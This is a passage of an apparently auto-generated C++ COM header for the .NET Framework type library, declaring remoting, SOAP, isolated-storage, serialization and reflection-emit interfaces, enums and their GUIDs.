WellKnownObjectMode_Singleton = 1, WellKnownObjectMode_SingleCall = 2 }; struct __declspec(uuid("8de7f105-07f6-31a8-8469-bafcdc5024b8")) CrossContextDelegate; // [ default ] interface _CrossContextDelegate // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("a36e4eaf-ea3f-30a6-906d-374bbf7903b1")) Context; // [ default ] interface _Context // interface _Object struct __declspec(uuid("6134805f-e8ff-3fd8-931e-4d847bca7551")) ContextProperty; // [ default ] interface _ContextProperty // interface _Object struct __declspec(uuid("563581e8-c86d-39e2-b2e8-6c23f7987a4b")) IChannel : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ChannelPriority ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_ChannelName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall Parse ( /*[in]*/ BSTR Url, /*[out]*/ BSTR * objectURI, /*[out,retval]*/ BSTR * pRetVal ) = 0; }; struct __declspec(uuid("48ad41da-0872-31da-9887-f81f213527e6")) IChannelReceiver : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ChannelData ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall GetUrlsForUri ( /*[in]*/ BSTR objectURI, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall StartListening ( /*[in]*/ VARIANT data ) = 0; virtual HRESULT __stdcall StopListening ( /*[in]*/ VARIANT data ) = 0; }; struct __declspec(uuid("bc5062b6-79e8-3f19-a87e-f9daf826960c")) EnterpriseServicesHelper; // [ default ] interface _EnterpriseServicesHelper // interface _Object enum __declspec(uuid("b946ac61-dd6b-39f3-bbe1-e4c1540f16ea")) ActivatorLevel { ActivatorLevel_Construction = 4, ActivatorLevel_Context = 8, ActivatorLevel_AppDomain = 12, ActivatorLevel_Process = 16, ActivatorLevel_Machine = 20 }; struct __declspec(uuid("b90efaa6-25e4-33d2-aca3-94bf74dc4ab9")) IMethodCallMessage : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_InArgCount ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall GetInArgName ( /*[in]*/ long index, /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall GetInArg ( /*[in]*/ long argNum, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_InArgs ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; }; struct __declspec(uuid("ca0ab564-f5e9-3a7f-a80b-eb0aeefa44e9")) IConstructionReturnMessage : IDispatch {}; struct __declspec(uuid("6d94b6f3-da91-3c2f-b876-083769667468")) IClientFormatterSinkProvider : IDispatch {}; struct __declspec(uuid("042b5200-4317-3e4d-b653-7e9a08f1a5f2")) IServerFormatterSinkProvider : IDispatch {}; enum __declspec(uuid("a026e65f-9720-3f82-8de1-a18e51180a34")) ServerProcessing { ServerProcessing_Complete = 0, ServerProcessing_OneWay = 1, ServerProcessing_Async = 2 }; struct __declspec(uuid("46527c03-b144-3cf0-86b3-b8776148a6e9")) IClientFormatterSink : IDispatch {}; struct __declspec(uuid("1e250ccd-dc30-3217-a7e4-148f375a0088")) IChannelDataStore : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ChannelUris ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall get_Item ( /*[in]*/ VARIANT key, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall putref_Item ( /*[in]*/ VARIANT key, /*[in]*/ VARIANT pRetVal ) = 0; }; struct __declspec(uuid("f3e38cea-40e4-33c1-9df7-bd103be2d68b")) ChannelDataStore; // [ default ] interface _ChannelDataStore // interface _Object // interface IChannelDataStore struct __declspec(uuid("1ac82fbe-4ff0-383c-bbfd-fe40ecb3628d")) ITransportHeaders : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Item ( /*[in]*/ VARIANT key, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall putref_Item ( /*[in]*/ VARIANT key, /*[in]*/ VARIANT pRetVal ) = 0; virtual HRESULT __stdcall GetEnumerator ( /*[out,retval]*/ struct IEnumVARIANT * * pRetVal ) = 0; }; struct __declspec(uuid("48728b3f-f7d9-36c1-b3e7-8bf2e63ce1b3")) TransportHeaders; // [ default ] interface _TransportHeaders // interface _Object // interface ITransportHeaders struct __declspec(uuid("b8be8d68-5fe6-38c5-838e-67ce2fca9d70")) SinkProviderData; // [ default ] interface _SinkProviderData // interface _Object struct __declspec(uuid("f369a73e-78d8-3bcc-ae36-522d116e19f9")) BaseChannelObjectWithProperties; // [ default ] interface _BaseChannelObjectWithProperties // interface _Object // interface IDictionary // interface ICollection // interface IEnumerable struct __declspec(uuid("0e9eb6e5-d899-3132-90c5-7376970c4fb5")) BaseChannelSinkWithProperties; // [ default ] interface _BaseChannelSinkWithProperties // interface _Object // interface IDictionary // interface ICollection // interface IEnumerable struct __declspec(uuid("22282340-9e30-3591-bd1e-6571930e8582")) BaseChannelWithProperties; // [ default ] interface _BaseChannelWithProperties // interface _Object // interface IDictionary // interface ICollection // interface IEnumerable struct __declspec(uuid("00a358d4-4d58-3b9d-8fb6-fb7f6bc1713b")) IDynamicProperty : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_name ( /*[out,retval]*/ BSTR * pRetVal ) = 0; }; struct __declspec(uuid("3677cbb0-784d-3c15-bbc8-75cd7dc3901e")) IMessageCtrl : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Cancel ( /*[in]*/ long msToCancel ) = 0; }; enum __declspec(uuid("a2c06560-e728-39d5-8230-7eb08001c79e")) LeaseState { LeaseState_Null = 0, LeaseState_Initial = 1, LeaseState_Active = 2, LeaseState_Renewing = 3, LeaseState_Expired = 4 }; struct __declspec(uuid("8fd730c1-dd1b-3694-84a1-8ce7159e266b")) LifetimeServices; // [ default ] interface _LifetimeServices // interface _Object struct __declspec(uuid("7b3bbd13-c870-3105-b123-ffca166cdc04")) ReturnMessage; // [ default ] interface _ReturnMessage // interface _Object // interface IMethodReturnMessage // interface IMethodMessage // interface IMessage struct __declspec(uuid("4f592b1f-4a0c-3fc0-9914-3677f64fc5a8")) MethodCall; // [ default ] interface _MethodCall // interface _Object // interface IMethodCallMessage // interface IMethodMessage // interface IMessage // interface ISerializable struct __declspec(uuid("54dac96d-ecaf-38db-a27b-3ddb102130c4")) ConstructionCall; // [ default ] interface _ConstructionCall // interface _Object // interface IMethodCallMessage // interface IMethodMessage // interface IMessage // interface ISerializable // interface IConstructionCallMessage struct __declspec(uuid("7e7bf3c0-b07b-3209-a424-7bc35d76ea7d")) MethodResponse; // [ default ] interface _MethodResponse // interface _Object // interface IMethodReturnMessage // interface IMethodMessage // interface IMessage // interface ISerializable struct __declspec(uuid("cc18fd4d-aa2d-3ab4-9848-584bbae4ab44")) IFieldInfo : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_FieldNames ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall put_FieldNames ( /*[in]*/ SAFEARRAY * pRetVal ) = 0; virtual HRESULT __stdcall get_FieldTypes ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall put_FieldTypes ( /*[in]*/ SAFEARRAY * pRetVal ) = 0; }; struct __declspec(uuid("25e8547a-6b49-3f00-b963-d45fdcef4f11")) ConstructionResponse; // [ default ] interface _ConstructionResponse // interface _Object // interface IMethodReturnMessage // interface IMethodMessage // interface IMessage // interface ISerializable // interface IConstructionReturnMessage struct __declspec(uuid("30c4cd02-66a2-3abe-bc6c-638e6730e534")) InternalMessageWrapper; // [ default ] interface _InternalMessageWrapper // interface _Object struct __declspec(uuid("40133645-ffaf-3a9c-b408-997e049d5c11")) MethodCallMessageWrapper; // [ default ] interface _MethodCallMessageWrapper // interface _Object // interface IMethodCallMessage // interface IMethodMessage // interface IMessage struct __declspec(uuid("2ec528fb-b987-3b3b-a444-9f94c3a257c1")) MethodReturnMessageWrapper; // [ default ] interface _MethodReturnMessageWrapper // interface _Object // interface IMethodReturnMessage // interface IMethodMessage // interface IMessage struct __declspec(uuid("855e6566-014a-3fe8-aa70-1eac771e3a88")) IChannelInfo : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ChannelData ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall put_ChannelData ( /*[in]*/ SAFEARRAY * pRetVal ) = 0; }; struct __declspec(uuid("21f5a790-53ea-3d73-86c3-a5ba6cf65fe9")) ObjRef; // [ default ] interface _ObjRef // interface _Object // interface IObjectReference // interface ISerializable struct __declspec(uuid("c30abd41-7b5a-3d10-a6ef-56862e2979b6")) OneWayAttribute; // [ default ] interface _OneWayAttribute // interface _Object // interface _Attribute struct __declspec(uuid("1163d0ca-2a02-37c1-bf3f-a9b9e9d49245")) ProxyAttribute; // [ default ] interface _ProxyAttribute // interface _Object // interface _Attribute // interface IContextAttribute struct __declspec(uuid("531d00a5-2cff-30d7-8245-97e18cd4d037")) RealProxy; // [ default ] interface _RealProxy // interface _Object enum __declspec(uuid("c888351b-5dfd-3a9f-8d36-96e7770d0ebf")) SoapOption { SoapOption_None = 0, SoapOption_AlwaysIncludeTypes = 1, SoapOption_XsdString = 2, SoapOption_EmbedAll = 4, SoapOption_Option1 = 8, SoapOption_Option2 = 16 }; enum __declspec(uuid("0ad279c7-05fb-3a46-9031-92e00c9f7c29")) XmlFieldOrderOption { XmlFieldOrderOption_All = 0, XmlFieldOrderOption_Sequence = 1, XmlFieldOrderOption_Choice = 2 }; struct __declspec(uuid("9b924ec5-bf13-3a98-8ac0-80877995d403")) SoapAttribute; // [ default ] interface _SoapAttribute // interface _Object // interface _Attribute struct __declspec(uuid("9c67f424-22dc-3d05-ab36-17eaf95881f2")) SoapTypeAttribute; // [ default ] interface _SoapTypeAttribute // interface _Object // interface _Attribute struct __declspec(uuid("01ff4e4b-8ad0-3171-8c82-5c2f48b87e3d")) SoapMethodAttribute; // [ default ] interface _SoapMethodAttribute // interface _Object // interface _Attribute struct __declspec(uuid("5b76534c-3acc-3d52-aa61-d788b134abe2")) SoapFieldAttribute; // [ default ] interface _SoapFieldAttribute // interface _Object // interface _Attribute struct __declspec(uuid("c76b435d-86c2-30fd-9329-e2603246095c")) SoapParameterAttribute; // [ default ] interface _SoapParameterAttribute // interface _Object // interface _Attribute struct __declspec(uuid("3db6f309-9dab-36ec-8036-d901172c994c")) RemotingConfiguration; // [ default ] interface _RemotingConfiguration // interface _Object struct __declspec(uuid("4e52d7d6-9fdf-3b59-b318-778e0f40f37c")) TypeEntry; // [ default ] interface _TypeEntry // interface _Object struct __declspec(uuid("3ed0f148-e447-3efe-8488-3c834082cc96")) ActivatedClientTypeEntry; // [ default ] interface _ActivatedClientTypeEntry // interface _Object struct __declspec(uuid("6cd360cd-d53d-3775-87ef-00d72e6645f5")) ActivatedServiceTypeEntry; // [ default ] interface _ActivatedServiceTypeEntry // interface _Object struct __declspec(uuid("6b3b6647-b39d-3ed4-992f-df6c49ace82e")) WellKnownClientTypeEntry; // [ default ] interface _WellKnownClientTypeEntry // interface _Object struct __declspec(uuid("2ce0da26-18ef-3cf4-abac-be90965f5f90")) WellKnownServiceTypeEntry; // [ default ] interface _WellKnownServiceTypeEntry // interface _Object enum __declspec(uuid("82febf4c-9fc8-3285-8d5a-f00dd1e1ba40")) CustomErrorsModes { CustomErrorsModes_On = 0, CustomErrorsModes_Off = 1, CustomErrorsModes_RemoteOnly = 2 }; struct __declspec(uuid("24540ebc-316e-35d2-80db-8a535caf6a35")) RemotingException; // [ default ] interface _RemotingException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("db13821e-9835-3958-8539-1e021399ab6c")) ServerException; // [ default ] interface _ServerException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("3cded51a-86b4-39f0-a12a-5d1fdced6546")) RemotingTimeoutException; // [ default ] interface _RemotingTimeoutException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("8df4c38a-8492-3c47-8332-d9d04faf3c59")) RemotingServices; // [ default ] interface _RemotingServices // interface _Object struct __declspec(uuid("53a3c917-bb24-3908-b58b-09ecda99265f")) InternalRemotingServices; // [ default ] interface _InternalRemotingServices // interface _Object struct __declspec(uuid("c48ca9bc-bbdb-3059-aec8-763cf7e9a88c")) MessageSurrogateFilter; // [ default ] interface _MessageSurrogateFilter // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("24eec005-3938-3c71-821d-7f68fd850b2d")) RemotingSurrogateSelector; // [ default ] interface _RemotingSurrogateSelector // interface _Object // interface ISurrogateSelector struct __declspec(uuid("da5681da-7c21-3a2d-afac-69e3a4d11f4d")) SoapServices; // [ default ] interface _SoapServices // interface _Object struct __declspec(uuid("80031d2a-ad59-3fb4-97f3-b864d71da86b")) ISoapXsd : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetXsdType ( /*[out,retval]*/ BSTR * pRetVal ) = 0; }; struct __declspec(uuid("48ad62e8-bd40-37f4-8fd7-f7a17478a8e6")) SoapDateTime; // [ default ] interface _SoapDateTime // interface _Object struct __declspec(uuid("de47d9cf-0107-3d66-93e9-a8acb06b4583")) SoapDuration; // [ default ] interface _SoapDuration // interface _Object struct __declspec(uuid("d049dc2b-82c3-3350-a1cc-bf69fee3825e")) SoapTime; // [ default ] interface _SoapTime // interface _Object // interface ISoapXsd struct __declspec(uuid("2decbcb7-bac0-316d-9131-43035c5cb480")) SoapDate; // [ default ] interface _SoapDate // interface _Object // interface ISoapXsd struct __declspec(uuid("a7136bdf-b141-3913-9d1c-9bc5aff21470")) SoapYearMonth; // [ default ] interface _SoapYearMonth // interface _Object // interface ISoapXsd struct __declspec(uuid("75999eba-0679-3d43-bdc4-02e4d637f1b1")) SoapYear; // [ default ] interface _SoapYear // interface _Object // interface ISoapXsd struct __declspec(uuid("463ae13f-c7e5-357e-a41c-df8762fff85c")) SoapMonthDay; // [ default ] interface _SoapMonthDay // interface _Object // interface ISoapXsd struct __declspec(uuid("c9f0a842-3ce1-338f-a1d4-6d7bb397bdaa")) SoapDay; // [ default ] interface _SoapDay // interface _Object // interface ISoapXsd struct __declspec(uuid("caec7d4f-0b02-3579-943f-821738ee78cc")) SoapMonth; // [ default ] interface _SoapMonth // interface _Object // interface ISoapXsd struct __declspec(uuid("8c1425c9-a7d3-35cd-8248-928ca52ad49b")) SoapHexBinary; // [ default ] interface _SoapHexBinary // interface _Object // interface ISoapXsd struct __declspec(uuid("f59d514c-f200-319f-bf3f-9e4e23b2848c")) SoapBase64Binary; // [ default ] interface _SoapBase64Binary // interface _Object // interface ISoapXsd struct __declspec(uuid("09a60795-31c0-3a79-9250-8d93c74fe540")) SoapInteger; // [ default ] interface _SoapInteger // interface _Object // interface ISoapXsd struct __declspec(uuid("7b769b29-35f0-3bdc-aae9-e99937f6cdec")) SoapPositiveInteger; // [ default ] interface _SoapPositiveInteger // interface _Object // interface ISoapXsd struct __declspec(uuid("2bb6c5e0-c2b9-3608-8868-21cfd6ddb91e")) SoapNonPositiveInteger; // [ default ] interface _SoapNonPositiveInteger // interface _Object // interface ISoapXsd struct __declspec(uuid("6850404f-d7fb-32bd-8328-c94f66e8c1c7")) SoapNonNegativeInteger; // [ default ] interface _SoapNonNegativeInteger // interface _Object // interface ISoapXsd struct __declspec(uuid("c41d0b30-a518-3093-a18f-364af9e71eb7")) SoapNegativeInteger; // [ default ] interface _SoapNegativeInteger // interface _Object // interface ISoapXsd struct __declspec(uuid("cdfa7117-b2a4-3a3f-b393-bc19d44f9749")) SoapAnyUri; // [ default ] interface _SoapAnyUri // interface _Object // interface ISoapXsd struct __declspec(uuid("d8a4f3eb-e7ec-3620-831a-b052a67c9944")) SoapQName; // [ default ] interface _SoapQName // interface _Object // interface ISoapXsd struct __declspec(uuid("b54e38f8-17ff-3d0a-9ff3-5e662de2055f")) SoapNotation; // [ default ] interface _SoapNotation // interface _Object // interface ISoapXsd struct __declspec(uuid("0e71f9bd-c109-3352-bd60-14f96d56b6f3")) SoapNormalizedString; // [ default ] interface _SoapNormalizedString // interface _Object // interface ISoapXsd struct __declspec(uuid("777f668e-3272-39cd-a8b5-860935a35181")) SoapToken; // [ default ] interface _SoapToken // interface _Object // interface ISoapXsd struct __declspec(uuid("84f70b6c-d59e-394a-b879-ffcc30ddcaa2")) SoapLanguage; // [ default ] interface _SoapLanguage // interface _Object // interface ISoapXsd struct __declspec(uuid("4e515531-7a71-3cdd-8078-0a01c85c8f9d")) SoapName; // [ default ] interface _SoapName // interface _Object // interface ISoapXsd struct __declspec(uuid("2763be6b-f8cf-39d9-a2e8-9e9815c0815e")) SoapIdrefs; // [ default ] interface _SoapIdrefs // interface _Object // interface ISoapXsd struct __declspec(uuid("9a3a64f4-8ba5-3dcf-880c-8d3ee06c5538")) SoapEntities; // [ default ] interface _SoapEntities // interface _Object // interface ISoapXsd struct __declspec(uuid("c498f2d9-a77c-3d4b-a1a5-12cc7b99115d")) SoapNmtoken; // [ default ] interface _SoapNmtoken // interface _Object // interface ISoapXsd struct __declspec(uuid("14be6b21-c682-3a3a-8b24-fee75b4ff8c5")) SoapNmtokens; // [ default ] interface _SoapNmtokens // interface _Object // interface ISoapXsd struct __declspec(uuid("d13b741d-051f-322f-93aa-1367a3c8aafb")) SoapNcName; // [ default ] interface _SoapNcName // interface _Object // interface ISoapXsd struct __declspec(uuid("fa0b54d5-f221-3648-a20c-f67a96f4a207")) SoapId; // [ default ] interface _SoapId // interface _Object // interface ISoapXsd struct __declspec(uuid("433ca926-9887-3541-89cc-5d74d0259144")) SoapIdref; // [ default ] interface _SoapIdref // interface _Object // interface ISoapXsd struct __declspec(uuid("f00ca7a7-4b8d-3f2f-a5f2-ce4a4478b39c")) SoapEntity; // [ default ] interface _SoapEntity // interface _Object // interface ISoapXsd struct __declspec(uuid("5520b6d3-6ec6-3ce7-958b-e69faf6eff99")) SynchronizationAttribute; // [ default ] interface _SynchronizationAttribute // interface _Object // interface _Attribute // interface IContextAttribute // interface IContextProperty // interface IContributeServerContextSink // interface IContributeClientContextSink struct __declspec(uuid("e822f35c-ddc2-3fb2-9768-a2aebced7c40")) TrackingServices; // [ default ] interface _TrackingServices // interface _Object struct __declspec(uuid("79c14066-e37e-3643-a449-d166fa0e8ec2")) UrlAttribute; // [ default ] interface _UrlAttribute // interface _Object // interface _Attribute // interface IContextAttribute // interface IContextProperty struct __declspec(uuid("14309fab-eacd-3c64-877e-07eb01b89c91")) Header; // [ default ] interface _Header // interface _Object struct __declspec(uuid("cc4c81b2-365e-3ba5-b374-a949b727e929")) HeaderHandler; // [ default ] interface _HeaderHandler // interface _Delegate // interface _Object // interface ICloneable // interface ISerializable struct __declspec(uuid("9d0df3b9-107c-3392-88c8-fe629ca21dab")) CallContext; // [ default ] interface _CallContext // interface _Object struct __declspec(uuid("4d125449-ba27-3927-8589-3e1b34b622e5")) ILogicalThreadAffinative : IDispatch {}; struct __declspec(uuid("5db435a0-0db3-3f4a-bf49-191a69d451bb")) LogicalCallContext; // [ default ] interface _LogicalCallContext // interface _Object // interface ISerializable // interface ICloneable struct __declspec(uuid("abeb0459-03b9-35af-96e1-66bb7bc923f7")) ObjectHandle; // [ default ] interface _ObjectHandle // interface _Object // interface IObjectHandle enum __declspec(uuid("b3e5a7ff-afc6-3f2b-8fff-300c7c567693")) IsolatedStorageScope { IsolatedStorageScope_None = 0, IsolatedStorageScope_User = 1, IsolatedStorageScope_Domain = 2, IsolatedStorageScope_Assembly = 4, IsolatedStorageScope_Roaming = 8, IsolatedStorageScope_Machine = 16, IsolatedStorageScope_Application = 32 }; struct __declspec(uuid("70541b17-bf7e-399b-8d33-2afa4f5af395")) IsolatedStorage; // [ default ] interface _IsolatedStorage // interface _Object struct __declspec(uuid("e5cfdffc-aeb5-3489-b12c-640f7b031b57")) IsolatedStorageFileStream; // [ default ] interface _IsolatedStorageFileStream // interface _Object // interface IDisposable struct __declspec(uuid("4479c009-4cc3-39a2-8f92-dfcdf034f748")) IsolatedStorageException; // [ default ] interface _IsolatedStorageException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("f5006531-d4d7-319e-9eda-9b4b65ad8d4f")) INormalizeForIsolatedStorage : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall Normalize ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; }; struct __declspec(uuid("5e45c68a-e894-3b38-aeee-634540bd0d57")) IsolatedStorageFile; // [ default ] interface _IsolatedStorageFile // interface _Object // interface IDisposable enum __declspec(uuid("72b06367-de53-3111-9c49-b816efee3148")) FormatterTypeStyle { FormatterTypeStyle_TypesWhenNeeded = 0, FormatterTypeStyle_TypesAlways = 1, FormatterTypeStyle_XsdString = 2 }; enum __declspec(uuid("f18130e7-bd6c-37f4-9488-35f9fb832ac7")) FormatterAssemblyStyle { FormatterAssemblyStyle_Simple = 0, FormatterAssemblyStyle_Full = 1 }; enum __declspec(uuid("c5d299ac-63b0-3448-bcb7-6aa9b5eb598e")) TypeFilterLevel { TypeFilterLevel_Low = 2, TypeFilterLevel_Full = 3 }; struct __declspec(uuid("e699146c-7793-3455-9bef-964c90d8f995")) ISoapMessage : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_ParamNames ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall put_ParamNames ( /*[in]*/ SAFEARRAY * pRetVal ) = 0; virtual HRESULT __stdcall get_ParamValues ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall put_ParamValues ( /*[in]*/ SAFEARRAY * pRetVal ) = 0; virtual HRESULT __stdcall get_ParamTypes ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall put_ParamTypes ( /*[in]*/ SAFEARRAY * pRetVal ) = 0; virtual HRESULT __stdcall get_MethodName ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_MethodName ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_XmlNameSpace ( /*[out,retval]*/ BSTR * pRetVal ) = 0; virtual HRESULT __stdcall put_XmlNameSpace ( /*[in]*/ BSTR pRetVal ) = 0; virtual HRESULT __stdcall get_headers ( /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; virtual HRESULT __stdcall put_headers ( /*[in]*/ SAFEARRAY * pRetVal ) = 0; }; struct __declspec(uuid("cf8f7fcf-94fe-3516-90e9-c103156dd2d5")) InternalRM; // [ default ] interface _InternalRM // interface _Object struct __declspec(uuid("cbbaf6ec-251a-3480-8a3d-4d56bc7320d0")) InternalST; // [ default ] interface _InternalST // interface _Object struct __declspec(uuid("e772bbe6-cb52-3c19-876a-d1bfa2305f4e")) SoapMessage; // [ default ] interface _SoapMessage // interface _Object // interface ISoapMessage struct __declspec(uuid("a8d058c4-d923-3859-9490-d3888fc90439")) SoapFault; // [ default ] interface _SoapFault // interface _Object // interface ISerializable struct __declspec(uuid("817accb7-35d8-3c18-baf2-0a5ce2157b74")) ServerFault; // [ default ] interface _ServerFault // interface _Object struct __declspec(uuid("50369004-db9a-3a75-be7a-1d0ef017b9d3")) BinaryFormatter; // [ default ] interface _BinaryFormatter // interface _Object // interface IRemotingFormatter // interface IFormatter struct __declspec(uuid("bebb2505-8b54-3443-aead-142a16dd9cc7")) _AssemblyBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("0814be2a-48e5-3d61-90f3-ef3d05df9d5e")) AssemblyBuilder; // interface _Object // interface _Assembly // interface IEvidenceFactory // interface ICustomAttributeProvider // interface ISerializable // [ default ] interface _AssemblyBuilder enum __declspec(uuid("f0778630-ac34-3d71-9fab-617f61243065")) AssemblyBuilderAccess { AssemblyBuilderAccess_Run = 1, AssemblyBuilderAccess_Save = 2, AssemblyBuilderAccess_RunAndSave = 3, AssemblyBuilderAccess_ReflectionOnly = 6, AssemblyBuilderAccess_RunAndCollect = 9 }; struct __declspec(uuid("ed3e4384-d7e2-3fa7-8ffd-8940d330519a")) _ConstructorBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("be9acce8-aaff-3b91-81ae-8211663f5cad")) _CustomAttributeBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("c7bd73de-9f85-3290-88ee-090b8bdfe2df")) _EnumBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("aadaba99-895d-3d65-9760-b1f12621fae8")) _EventBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("ce1a3bf5-975e-30cc-97c9-1ef70f8f3993")) _FieldBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("a4924b27-6e3b-37f7-9b83-a4501955e6a7")) _ILGenerator : IUnknown { // // Raw methods provided by interface // virtual HRESULT 